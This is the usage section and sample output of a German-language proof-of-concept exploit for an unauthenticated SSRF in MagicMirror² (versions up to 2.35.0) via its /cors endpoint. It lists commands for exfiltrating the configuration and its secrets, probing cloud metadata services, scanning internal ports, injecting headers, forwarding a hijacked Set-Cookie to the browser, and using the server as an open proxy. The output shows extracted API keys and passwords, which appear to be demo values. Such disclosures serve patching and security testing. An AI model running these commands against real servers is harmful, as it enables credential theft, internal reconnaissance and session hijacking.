# 1. Prüfen, ob das Ziel verwundbar ist
python3 poc.py -t http://target:8080 --check

# 2. Anwendungskonfiguration exfiltrieren (mit automatischer Secret-Erkennung)
python3 poc.py -t http://target:8080 --config

# 3. Cloud-Metadaten-Dienste bei 10+ Anbietern testen
python3 poc.py -t http://target:8080 --cloud

# 4. Interner Netzwerk-Portscan über SSRF
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379

# 5. Missbrauch von eingehenden/ausgehenden Headern demonstrieren
python3 poc.py -t http://target:8080 --headers

# 6. Den Server als generischen offenen Proxy verwenden
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api

$ python3 poc.py -t http://127.0.0.1:8080 --check

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗   ██████╗   █████╗   ██╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ╚════██╗  ╚════██╗  ██╔══██╗ ███║
██║     ██║   ██║█████╗   -2026- ███████║  █████╔╝   █████╔╝  ╚█████╔╝ ╚██║
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ██╔═══╝   ██╔═══╝   ██╔══██╗  ██║
╚██████╗ ╚████╔╝ ███████╗             ██║ ███████╗  ███████╗  ╚█████╔╝  ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝ ╚══════╝  ╚══════╝   ╚════╝   ╚═╝

  MagicMirror² <= v2.35.0 — Nicht authentifiziertes SSRF über /cors-Endpunkt
  Autor: Astaruf | https://nstsec.com

  CHECK, Ziel-Erreichbarkeit und SSRF-Bestätigung
  [*] Ziel-Erreichbarkeit wird überprüft ...
  [+] Ziel erreichbar, MagicMirror 2.35.0
  [*] SSRF über Loopback wird bestätigt ...
      >> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
  [+] SSRF BESTÄTIGT, Server hat interne Ressource in unserem Auftrag abgerufen
      << 2.35.0

  KONFIGURATIONS-EXFILTRATION, Vollständige Konfiguration über SSRF-Loopback
  [+] Konfiguration abgerufen, 1194 Bytes
  [*] address    : 0.0.0.0
  [*] port       : 8080
  [*] ipWhitelist: [] für alle IPs offen

  GEFUNDENE SECRETS:
    [weather]  apiKey                       = ow_demo_api_key_d34db33fc4f3b4b3
    [calendar] calendars[0].auth.pass       = S3cretCalendarPa$$word!
    [newsfeed] accessToken                  = sk-newsfeed-bearer-T0kEn-xyz789

  HEADER-INJEKTION, Missbrauch ausgehender und eingehender Header
  [*] Teil A: Beliebige Header über sendheaders in ausgehende Anfragen injizieren
  [+] Header X-Injected-By: SSRF-PoC in ausgehender Anfrage bestätigt
  [+] Header Authorization: Bearer DEMO_TOKEN in ausgehender Anfrage bestätigt

  [*] Teil B: Antwort-Header über expectedheaders an den Browser weiterleiten
  [+] Antwort-Header Set-Cookie an Browser weitergeleitet: session=hijacked;HttpOnly
  [+] Browser erhält dieses Cookie, als stamme es von der MagicMirror-Domain

  OFFENER PROXY, Abruf von https://httpbin.org/ip über den verwundbaren Server
  [+] HTTP 200, 32 Bytes vom Server empfangen

{
  "origin": "<öffentliche IP des Servers, nicht die des Angreifers>"
}